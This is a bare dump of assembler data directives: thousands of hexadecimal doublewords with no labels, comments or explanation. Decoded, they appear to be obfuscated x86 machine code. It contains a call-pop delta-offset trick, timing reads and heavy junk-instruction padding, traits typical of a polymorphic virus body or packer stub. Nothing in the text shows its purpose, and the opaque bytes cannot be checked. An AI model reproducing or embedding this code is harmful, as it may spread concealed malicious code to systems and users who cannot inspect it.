		dd 955B589h, 0E9900603h, 0Dh, 0BEC81737h, 562E4639h, 0D9F26C1Fh
		dd 6A905000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 4AD5C350h, 66A228D9h, 6A2D5DBFh
		dd 0E0CEBF00h, 0A3686482h, 5624E4C6h, 9E8h, 69383000h
		dd 12EB5B3Ah, 5F5FE4E4h, 5C243481h, 3124FBC5h, 32CC585h
		dd 0F9BD8B06h, 0FF06032Bh, 32E7195h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0F9076FDEh
		dd 0A69B40D7h, 85890E43h, 606A703h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 78C35545h, 908F9DA3h, 0E9082E20h
		dd 166h, 1B5DBD8Bh, 858B0603h, 606A6FBh, 1A05B589h, 0C70603h
		dd 18h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h
		dd 68C35242h, 8B07EF80h, 6A6FFB5h, 89858B06h, 8B06031Fh
		dd 8B0689F9h, 31B299Dh,	5E96006h, 79000000h, 0D19842A9h
		dd 58B0Fh, 81660000h, 610B1AF6h, 9AD858Bh, 6A0603h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 21A31CC3h, 71D7206Fh, 89044689h, 31DD5B5h, 60579606h
		dd 66DF8B66h, 6180FCBAh, 8E0F505Fh, 9, 272CBE60h, 5B500E6Ch
		dd 820F9661h, 6, 0F182C381h, 0FFF94D4Ah, 6A6FBB5h, 38F38106h
		dd 6863EA8Bh, 0E9A39D26h, 0E9605250h, 0Ch, 0B3A19DF5h
		dd 55F49B7Eh, 5750146Fh, 8C0Fh,	0F610000h, 0F4BB6631h
		dd 81585AACh, 66D92404h, 6A167Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0F99FDC3h, 0EF81FEBFh
		dd 2EFFC919h, 0A703858Dh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0F7803AC3h, 1BD8BB0h
		dd 8A06032Ch, 0BB6650FEh, 4894B6Dh, 0B1BD0B24h,	0FF060322h
		dd 32E7195h, 0AA28BB06h, 66610748h, 85C7DA8Bh, 6030071h
		dd 3, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h, 1Dh
		dd 45C35747h, 4282AA23h, 0BAF0A43h, 3BD834Fh, 606A7h, 0C840Fh
		dd 0E9F80000h, 21h, 22CD9D8Bh, 30500603h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0FB8B66C0h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0FCC35141h, 9D773F93h
		dd 0BD29F9BBh, 60321A5h, 71BD83h, 0F030603h, 41285h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 504066AFh, 12E90723h, 0A6000000h, 0B7BCC31Dh, 0ECE253F8h
		dd 49579691h, 68B9399Bh, 3BD83FDh, 606A7h, 3CD840Fh, 30B70000h
		dd 0A703B5FFh, 9D8B0606h, 603135Dh, 2A7595FFh, 6A0603h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0D466CBC3h, 16E0EE02h, 16DEBF66h, 0A6F7B58Bh, 8D0F0606h
		dd 2, 6C7DE8Bh,	10001h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0AC35343h, 413E61C9h,	0BB509671h, 49C0CD83h
		dd 8B96505Bh, 321B1BDh,	3B5FF06h, 0BF0606A7h, 612C6B49h
		dd 244995FFh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 7DCC02C3h, 26CDBD8Bh, 0B58B0603h
		dd 606A6F7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	1C35343h, 70463397h, 0A7BE8EC5h, 31858BC0h, 6A060331h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0B0F2C351h, 8F324078h, 0BD8B087Fh, 60300ADh
		dd 0C48689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0E13144C3h, 0CCDF7060h, 9D8B5788h
		dd 6032685h, 0A5958B5Fh, 8B060320h, 4C283DFh, 0C4A2BF66h
		dd 6A205089h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0ABDBC355h, 493E19F5h,	0BB16858Dh
		dd 0BD030606h, 6032655h, 0B88689h, 85890000h, 6031FBDh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 8481C0C3h, 8B17F026h, 32C8D9Dh, 3B5FF06h
		dd 0E80606A7h, 8, 542036ADh, 3CE2439Ah,	0FF5FFA8Bh, 30CFD95h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 55E08388h, 1280C743h, 0F98D2960h, 8B060304h
		dd 318D59Dh, 66506106h,	3489D98Bh, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8BCEC658h
		dd 3041D9Dh, 3B5FF06h, 6A0606A7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0ED0FC351h
		dd 95FFB442h, 6032E7Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch
		dd 62C35040h, 75E8480Ah, 0C4935377h, 3850Fh, 0D7800000h
		dd 0C9BD83C6h, 60326h, 72840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 27C9D8C3h
		dd 7F4F41F4h, 13E9h, 52941F00h,	803C9F8Fh, 0EC1FD6B1h
		dd 3FD78EBCh, 22E4506Bh, 0FB8B6696h, 60525050h,	0D08BC58Ah
		dd 5A310F61h, 6A9658h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 6C9931C3h, 0AE877A4h, 0DE8BB946h
		dd 0A703B5FFh, 6A0606h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 95FF18C3h, 60314B9h, 21A98589h
		dd 0B5FF0603h, 606A703h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 86C35545h, 0B989DAFDh, 0BBFC4E98h, 6D30D1B7h
		dd 139DBD8Bh, 95FF0603h, 6030C95h, 21858D89h, 0BD830603h
		dd 6032D4Dh, 46840F02h,	8B000000h, 31A5DBDh, 0ED858B06h
		dd 66060323h, 0A32DCB81h, 6A0000C6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0B67FC350h
		dd 10E9h, 3FC7F800h, 2003879Bh,	7C6D101Bh, 0A828AFD1h
		dd 8185C77Dh, 60330h, 0E9000000h, 0FFFFF3FFh, 6AC18Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 52AC06C3h, 0BB512557h, 1A3D6D4Dh, 9858D5Fh, 6A060313h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 8925C350h, 2CEA8CB2h, 7E9h, 0E0E2FF00h, 77191C3Ah
		dd 11E990h, 0BF6B0000h,	563A32EDh, 872AAFC3h, 926D7638h
		dd 50D80ED5h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 5D933AF1h, 0BF667707h, 6A3B1Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0E7C35040h, 45750647h
		dd 3011B0Fh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0B13792C3h, 13E9C3h, 0E9950000h
		dd 8F21432Fh, 0AE1E69F4h, 9EAB6E4Dh, 0D8C9D30Eh, 9BBB6696h
		dd 79858D85h, 8B060806h, 322B19Dh, 5C08306h, 0D733EB81h
		dd 0B3902183h, 0DE8A50A9h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 9B0D4CA4h
		dd 0CDCA8B7Dh, 6AA603h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0E5C35747h, 0C5D0695Eh, 647F5B2Eh, 9529006Ah
		dd 6030DADh, 1DF995FFh,	840F0603h, 0Fh,	0AE9h, 52EEA400h
		dd 0B22C2731h, 8D4B59F1h, 699338Dh, 0B1BD8906h,	0FF060320h
		dd 41BD29D1h, 83060300h, 31D89BDh, 850F0106h, 0A2h, 4860Fh
		dd 0BB660000h, 26A1C22h, 200DBD2Bh, 66900603h, 0E950DA8Bh
		dd 10h,	29F951C0h, 69C59DB1h, 46807B6Dh, 1B65EA77h, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0EE9D6h, 17580000h, 13445563h, 8247F391h, 1BB3AC7Dh
		dd 0CFD95FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 453C52C3h, 0BFF1CD20h, 1446BE70h
		dd 0EE8h, 0BED4F200h, 0AC19E3ADh, 4CD4980Fh, 23912BDDh
		dd 31A3D9Dh, 98E95B06h,	0E800000Eh, 0
		dd 83ED815Dh, 6A060806h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 5B50C353h, 1F8F0F49h
		dd 0E8000000h, 13h, 0D48C44B0h,	6A108220h, 3AB19CF9h, 992CA453h
		dd 8B106F11h, 32595BDh,	6A5F06h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 7D73DDC3h, 6DF23813h
		dd 13E91C56h, 1C000000h, 0E666BD3Dh, 3CF9CA4Fh,	0D9F132DAh
		dd 0EADA8485h, 858D784Ah, 6069100h, 0F551D98Bh,	5250505Bh
		dd 0B6585160h, 310F610Dh, 0DE8h, 0C9F9F00h, 0D0F64717h
		dd 6DD4B708h, 5F57C9F8h, 89585A5Bh, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B5D142C3h
		dd 15B7F51Fh, 0D1DBD8Bh, 0FF640603h, 35h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0F1ADF433h, 1AA19D8Bh, 89640603h, 25h, 5D9D8B00h, 0FF060316h
		dd 31D0185h, 219D8906h,	6A06032Ch, 55006AFFh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0D1561823h
		dd 44AC80E1h, 9589A5C8h, 6032629h, 2175BD8Bh, 0F510603h
		dd 68Eh, 859D0300h, 5B060326h, 0BE1B5FFh, 6A0603h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0C5D38AC3h, 0A9779B0Fh, 9D8B0FC0h, 603242Dh,	1B4D95FFh
		dd 0CBE90603h, 0F8000000h, 21919D8Bh, 0B00603h,	70E61CB7h
		dd 0FC8A71E4h, 830F613Ch, 0B2h,	1CE59D8Bh, 0C3800603h
		dd 0C8B60F6Ch, 2AD59D8Bh, 6BA0603h, 89000000h, 32CA5B5h
		dd 23C18B06h, 31F85BDh,	4E8C106h, 1B519D8Bh, 0F7660603h
		dd 119D89E2h, 2B060324h, 31BD8BC8h, 8B06032Eh, 6BE9F8D1h
		dd 0BB000000h, 7D3A0C0h, 4E49858Bh, 85294400h, 603308Dh
		dd 2907C083h, 30D05BDh,	0C08306h, 96F38166h, 0FD03B77h
		dd 0E83h, 4EEF8000h, 39E9h, 0DD858900h,	8B060325h, 0FFFFFF8Dh
		dd 19BF66FFh, 1E18347h,	20840Fh, 64BB0000h, 8358B5B8h
		dd 0FFFFFFA5h, 0BB66FEFFh, 958910DAh, 44004E49h, 64CF8166h
		dd 0E9E2h, 0B58D0000h, 60786C4h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0D6C35545h,	6BFB707Ch, 0FE8362Ch
		dd 28000000h, 61A569CDh, 0F3F26EC2h, 12A9A9FEh,	85295BAAh
		dd 60325DDh, 0FE95Bh, 209B0000h, 795B2043h, 0C6084992h
		dd 11CE06FEh, 29006A36h, 306A98Dh, 0A595FF06h, 6A060323h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 4B5DC357h, 55865982h, 0CB510289h,	1097B9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 84301028h, 0BE4B4927h, 95890CDAh, 6032ED5h
		dd 60FCE183h, 0EE970B7h, 5C000000h, 0E89CDAEEh,	4BE969B9h
		dd 93BD981Eh, 89FC618Eh, 3213DBDh, 6AC02B06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0E5F0C356h, 29BD8B5Ah, 2B060307h, 0ADD98BD2h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0BBA1C353h,	3C8876EDh
		dd 8B66855Bh, 0E78166DFh, 6A9756h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 31C300C3h, 0E9775B26h
		dd 0E6BF66F9h, 880DBCh,	0B5890000h, 6032E0Dh, 20A5958Bh
		dd 85290603h, 603180Dh,	1A658D8Bh, 0EEB70603h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 895017C3h
		dd 31AF99Dh, 11E95F06h,	0AC000000h, 0F4A34180h,	2E3603DDh
		dd 83EC34C6h, 22D84564h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0CEC35646h, 0E4B3E738h, 15088E67h, 0ABB66B2h
		dd 0DBD836Ah, 60321h, 91840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0D25BA3C3h
		dd 0A6B58ECAh, 0DE9h, 0F3FD0900h, 0EE514F53h, 6FB986B5h
		dd 0BB664368h, 0B88F17h, 0E8000000h, 5,	0E5D5333Ch, 0E5BD8B6Dh
		dd 5B060307h, 2DA18D89h, 8D8D0603h, 6034D69h, 6AE1FFFCh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0DB9BC356h, 0D163739Bh, 0EE9h, 787B4500h
		dd 90EBA165h, 43CAD94Ch, 83B37452h, 30071BDh, 840F0006h
		dd 4BCh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0D1C35343h, 0C2866C13h,	4890Fh,	0BF660000h, 0BD8903B3h
		dd 6031CC9h, 71BD83h, 0F010603h, 49A84h, 13E800h, 261A0000h
		dd 0A9AB8FBEh, 6515CD7Ch, 28A058FCh, 2E7163D3h,	0D8BF0F4Fh
		dd 71BD835Bh, 3060300h,	43B860Fh, 66600000h, 8C66FB8Bh
		dd 55006AD9h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 38396885h, 7135EDA8h, 2E45BD31h,	0E1800603h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0F55E6A0Fh, 15998D89h, 0C90A0603h, 184840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0E8B3C0C3h, 6, 0AE201038h, 8D89B83Fh, 6030D31h
		dd 0AD858B5Bh, 6A060309h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 5436C352h, 745CBF66h
		dd 1A598533h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BF0FF1C3h, 0C1BD8BD9h, 9006030Fh
		dd 66525050h, 310FD88Bh, 9E9h, 9D83B300h, 0DBF164AFh, 585AE5E9h
		dd 6AF590h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 14h,	0E1C35646h, 5840F57h, 66000000h, 592DEB81h, 0EB81665Bh
		dd 4E8788Fh, 0FF000000h, 0E9001F03h, 9,	47B3B858h, 841A64C2h
		dd 66535041h, 5F2705BFh, 424448Bh, 8BD98Bh, 4489D88Bh
		dd 5E90424h, 63000000h,	0F764258Ch, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 254BCE60h
		dd 11C86009h, 9860Fh, 8C0F0000h, 3, 0FFFFBF0Fh,	32E7195h
		dd 51BD8906h, 8906032Ah, 6A70385h, 0DE906h, 3D10000h, 9D8BBE8Ah
		dd 9FB5EE7h, 0E9C4EF6Eh, 1FDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0AC35242h, 0F9B4722h, 13459D8Bh
		dd 858B0603h, 606A6FBh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0F7C35242h, 0C75CA0CCh, 55A870D3h, 29D88BFBh
		dd 31CADBDh, 1800C706h,	8B000000h, 31395BDh, 0FFB58B06h
		dd 6A0606A6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 20FC351h, 0A1A7BFA7h, 0E781141Ch
		dd 4B301CBCh, 1F89858Bh, 0BD890603h, 6031A51h, 23799D8Bh
		dd 6890603h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	26C35545h, 9BF12487h, 6E901h, 7D40000h
		dd 3F784544h, 9AD858Bh,	0BB660603h, 46896A7Eh, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0F91B2736h, 0E9E03203h, 0Eh,	3A336AEh, 1E9B985Ch, 261303A8h
		dd 6650DB85h, 89D8F4BFh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0C75F8FC3h, 0CC59E83Ch
		dd 10E8EBC2h, 6D000000h, 0DB234465h, 677F5403h,	78DA42A3h
		dd 0F4CBA2Ah, 0FF5BDEBFh, 6A6FBB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 89FAC1C6h
		dd 0AC249499h, 2C119D01h, 9D310603h, 6031639h, 0D8EC6968h
		dd 24348179h, 79C7EF96h, 3858DF9h, 290606A7h, 32A61BDh
		dd 50605006h, 0AE852h, 7A370000h, 0FCFCE970h, 0CB049E01h
		dd 5A310F5Eh, 61605258h, 4896158h, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0B3515A7Ah
		dd 0DFD4D92Eh, 95FF3A80h, 6032E71h, 0BF1838BBh,	0DFBF6637h
		dd 6A6163h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 680CE2C3h, 0F9DDD76h, 85C7DBB7h, 6030071h
		dd 3, 0BD830CB7h, 606A703h, 42840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0F3F2C352h, 0E9A9A9FEh, 12h,	5F6275E5h, 0F37BF6F0h
		dd 0E89AD391h, 0D95B4097h, 21E923FFh, 8B000000h, 329A5BDh
		dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 2FA9B589h, 6A0603h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 47E82AC3h, 0F6649EE1h
		dd 9D8BF487h, 6031735h,	71BD83h, 0F030603h, 43F85h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0A75F2F75h, 8369586Bh, 6A703BDh, 840F0006h, 410h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0AC35242h, 0D88B9E44h
		dd 0A703B5FFh, 9D230606h, 6030711h, 90C006BFh, 7595FF30h
		dd 6A06032Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8B6AC355h, 30459BDh, 0B18D8906h
		dd 8B060314h, 6A6F7B5h,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0C4242C21h, 8BF0B332h
		dd 106C7F9h, 6A000100h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0F944C355h,	0FE950h
		dd 999A0000h, 1AAF7307h, 8A19D9DDh, 239DAF6Ch, 0E9965B42h
		dd 0Eh,	0FA4DE27Ah, 2DE29A8Dh, 52A3B76Dh, 96506794h, 68F0Fh
		dd 0BD8B0000h, 60306A9h, 0A703B5FFh, 0BD8B0606h, 60314C5h
		dd 0FF9BF380h, 3244995h, 0B58BF506h, 606A6F7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0EC35141h, 649B0ED6h
		dd 665A891Dh, 8B2DB5BFh, 3313185h, 0BE906h, 0F03F0000h
		dd 0A1895216h, 58AD2567h, 219D8BCBh, 8906031Bh,	0C486h
		dd 0A5958B00h, 6A060320h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 3FECC357h, 0A8B0F96h
		dd 0E9000000h, 5, 0CD28FAA6h, 68C0F69h,	8B000000h, 32141BDh
		dd 4C28306h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	2DC35646h, 9529C12Bh, 6030351h,	6A205089h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 4BCDC355h, 0AC87392h, 16858D26h, 6A0606BBh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8BC4C356h, 302C99Dh,	89F98B06h, 0B886h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 11FA7933h, 26A47D4Ah, 0A99D8B90h, 8B060317h,	303619Dh
		dd 9E806h, 0CAC50000h, 6C75E7h,	0BFEFD23Eh, 56A3501Ch
		dd 0F006A5Bh, 0B5FFDBBFh, 606A703h, 0FFDF8B66h,	30CFD95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 677B7A98h, 0F16BEEAFh, 0E4A1D381h, 0E9966F92h
		dd 7, 47EBAED4h, 5085D34Ah, 0CE9h, 0A5158D00h, 2462D885h
		dd 0F0421122h, 38B79633h, 0A703B5FFh, 6A0606h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0CB81C8C3h, 7B04C505h, 0C1D9D8Bh, 95FF0603h,	6032E7Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0D7C35747h
		dd 89B50926h, 83060318h, 326C9BDh, 840F0006h, 22h, 23298D89h
		dd 0BD290603h, 60329F1h, 0D98B6650h, 0E8243489h, 7, 7A7B8F0Eh
		dd 0B307E7FCh, 0B5FF5F12h, 606A703h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 62C35040h, 3DDE33AFh, 0B995FF77h
		dd 89060314h, 306619Dh,	0BF0F5606h, 0B5FF5BF8h,	606A703h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B0C35545h
		dd 66B99F32h, 95FF90BAh, 6030C95h, 8EDBD89h, 0BF660603h
		dd 0BD834F8Fh, 6032D4Dh, 55840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0A9B0C355h, 858B6B1Bh, 60323EDh, 1CAD9D8Bh, 0C60603h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BF664C94h, 0F7815737h, 14A8A17Fh, 308185C7h
		dd 603h, 0BD8B0000h, 603087Dh, 0FFF2A2E9h, 68F0FFFh, 29000000h
		dd 32CE19Dh, 66C18B06h,	8DCDE5BBh, 3130985h, 42A4BB06h
		dd 505071E7h, 870F52h, 0F000000h, 5AF98B31h, 24048958h
		dd 0A899529h, 6A0603h, 1C8C0Fh,	13E80000h, 58000000h, 0B16EF3E2h
		dd 0A280B7D4h, 6CF5B4E4h, 833A0180h, 0BF0F1FDAh, 0DE95BF8h
		dd 9000000h, 90B6CCEDh,	0F29EC761h, 27A3FA43h, 0BD0B006Ah
		dd 60302D5h, 16D0858Dh,	8E0F0608h, 0
		dd 502ABB66h, 8B05C083h, 32F699Dh, 8B665006h, 240489DEh
		dd 6ADC8Ah, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 14h,	0A0C35040h, 0F860Fh, 8E80000h, 57000000h, 0CD7B983Ch
		dd 0F87DBD2Ah, 0F5BD8B5Bh, 6A06030Bh, 6800F00h,	8B000000h
		dd 314C99Dh, 0F995FF06h, 6A06031Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0BD80C357h
		dd 12E8CBh, 0CC560000h,	4FD66171h, 0F266C13Ah, 99FDBF7Bh
		dd 0E0107860h, 4B5BD33h, 895B0603h, 30C9DB5h, 338D8D06h
		dd 6A060699h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 76AEC351h, 0A19832CBh,	0BD890920h
		dd 6032189h, 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0FA8BCEC3h, 1D89BD83h, 0F010603h
		dd 4C85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 7EAE71E3h, 0A3CE8868h, 26ABB9Bh
		dd 6CF78152h, 5B7EEBEDh, 8988B750h, 95FF2404h, 6030CFDh
		dd 0C1F3DF81h, 6E9593Ah, 0B2000000h, 872F2DA4h,	0D0BE9E7h
		dd 0E80000h, 5D000000h,	16DAED81h, 10E80608h, 45000000h
		dd 0F2D45655h, 8FAC99F1h, 0B375BCC9h, 5F4A06F2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0FFC35747h, 6679111Bh
		dd 8D584CBFh, 6910085h,	81665106h, 5B7AC5EFh, 5860F60h
		dd 0B8000000h, 21ED85B0h, 5061FFB1h, 383BB66h, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 2364C356h, 0F88AB7BBh, 6830Fh, 95890000h
		dd 60304FDh, 35FF64h, 0E9000000h, 12h, 63B9C29Ah, 0FF071597h
		dd 1F153F01h, 0CF7E7F15h, 89644A80h, 25h, 8820F00h, 0F000000h
		dd 287h, 81616000h, 8E5715E7h, 185FF59h, 8B06031Dh, 0FFFF6ADFh
		dd 30575B5h, 4D95FF06h,	0E906031Bh, 0E4h, 32C59D89h, 0B00603h
		dd 70E6BEB3h, 71E4FB8Bh, 2DC59589h, 613C0603h, 0C6830Fh
		dd 7E80000h, 0F5000000h, 215937CAh, 0C3813345h,	684D6BC2h
		dd 0C8B60F5Fh, 22ADBD31h, 6BA0603h, 8B000000h, 4E8C1C1h
		dd 4ED05ABBh, 62CF814Bh, 6652560Ch, 0BD8BE2F7h,	60318B9h
		dd 9D89C82Bh, 60314A9h,	8B66D18Bh, 7AE9DAh, 8BF80000h
		dd 5F4C4C85h, 7C08350h,	9529F88Ah, 6030E59h, 3B00C083h
		dd 13830FD0h, 89000000h, 30DC99Dh, 52E906h, 29520000h
		dd 30AEDB5h, 8D8B5B06h,	0FFFFFFFFh, 0AA99D29h, 0E1830603h
		dd 35840F01h, 0FC000000h, 0FFFFA583h, 89FEFFFFh, 319718Dh
		dd 11E906h, 196C0000h, 46D49AE7h, 933B053h, 5BB02BB6h
		dd 89F3AB69h, 5F4C4C95h, 98DB8150h, 0E961BA2Ch,	0
		dd 975BB58Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 59783FC3h, 9D8BCCFCh, 6031961h
		dd 0B529006Ah, 603209Dh, 23A595FFh, 89570603h, 30B219Dh
		dd 0B7B95F06h, 29000010h, 3223DB5h, 0FCE18306h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 21C35242h, 0FE9h
		dd 4687E800h, 2CDC8D5Ch, 0C83AA411h, 562B9CCBh,	0DA8160FCh
		dd 462BA446h, 61DF8B66h, 0B8h, 95BD8900h, 0BA06030Bh, 0
